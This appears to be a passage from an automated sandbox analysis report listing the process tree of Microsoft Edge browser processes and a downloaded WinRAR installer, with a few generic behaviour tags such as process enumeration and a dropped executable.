"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12140 /prefetch:1
2⤵
PID:6784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12656 /prefetch:1
2⤵
PID:4824

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12724 /prefetch:1
2⤵
PID:2956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12964 /prefetch:1
2⤵
PID:7700

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12708 /prefetch:1
2⤵
PID:7708

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12096 /prefetch:1
2⤵
PID:7888

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=12748 /prefetch:8
2⤵
PID:6884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3096 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:7360

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1700 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:7940

C:\Users\Admin\Downloads\winrar-x64-701.exe
"C:\Users\Admin\Downloads\winrar-x64-701.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:6440

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4040 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:6764

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12600 /prefetch:1
2⤵
PID:2700

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12688 /prefetch:1
2⤵
PID:8096

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7972 /prefetch:1
2⤵
PID:5244

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10176 /prefetch:1
2⤵
PID:2668

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=12052 /prefetch:8
2⤵
PID:1640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=77 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12804 /prefetch:1
2⤵
PID:4408

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
2⤵
PID:4612

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=79 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1344 /prefetch:1
2⤵
PID:3144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9668 /prefetch:1
2⤵
PID:1356

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11296 /prefetch:1
2⤵
PID:4464

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=82 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6520 /prefetch:1
2⤵
PID:1284

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=83 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10492 /prefetch:1
2⤵
PID:4936

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=84 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12820 /prefetch:1
2⤵
PID:7580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=85 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12796 /prefetch:1
2⤵
PID:2672

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=86 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2080 /prefetch:1
2⤵
PID:5732

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=11764 /prefetch:8
2⤵
PID:7840

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=88 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8072 /prefetch:1
2⤵
PID:5108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=89 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7364 /prefetch:1
2⤵
PID:920

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=90 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10128 /prefetch:1
2⤵
PID:2324

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=91 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11612 /prefetch:1
2⤵
PID:8080

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=92 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7540 /prefetch:1
2⤵
PID:2744

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=93 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1256 /prefetch:1
2⤵
PID:400

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=94 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4848 /prefetch:1
2⤵
PID:6784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=96 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10456 /prefetch:1
2⤵
PID:8148

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=97 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11184 /prefetch:1
2⤵
PID:2552

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=98 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3028 /prefetch:1
2⤵
PID:2028

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=99 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8148 /prefetch:1
2⤵
PID:1784

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=100 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11256 /prefetch:1
2⤵
PID:4680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=101 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11296 /prefetch:1
2⤵
PID:540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=102 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13456 /prefetch:1
2⤵
PID:1792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=103 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13628 /prefetch:1
2⤵
PID:8052

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=104 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5904 /prefetch:1
2⤵
PID:1436

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=13204 /prefetch:8
2⤵
PID:5412

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=106 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10304 /prefetch:1
2⤵
PID:5308

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=107 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4872 /prefetch:1
2⤵
PID:6952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=108 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12460 /prefetch:1
2⤵
PID:1848

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=109 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8064 /prefetch:1
2⤵
PID:4976

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=110 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10324 /prefetch:1
2⤵
PID:952

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=112 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11204 /prefetch:1
2⤵
PID:1492

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=114 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12576 /prefetch:1
2⤵
PID:5920

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=115 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4848 /prefetch:1
2⤵
PID:7468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=116 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=11228 /prefetch:1
2⤵
PID:4684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=117 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13560 /prefetch:1
2⤵
PID:7112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=118 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13400 /prefetch:1
2⤵
PID:6680

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=119 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4868 /prefetch:1
2⤵
PID:8108

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=121 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3016 /prefetch:1
2⤵
PID:4172

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=122 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13636 /prefetch:1
2⤵
PID:7716

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=123 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=12196 /prefetch:1
2⤵
PID:5088

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=124 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=14088 /prefetch:1
2⤵
PID:5160

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=125 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9532 /prefetch:1
2⤵
PID:6484

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=126 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13824 /prefetch:1
2⤵
PID:8048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=127 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8480 /prefetch:1
2⤵
PID:1324

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=128 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=14344 /prefetch:1
2⤵
PID:1700

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=129 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13556 /prefetch:1
2⤵
PID:5204

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=131 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=13920 /prefetch:1
2⤵
PID:7304

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,4487215136770146212,13483153548759619415,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=132 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=14196 /prefetch:1
2⤵
PID:6404

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
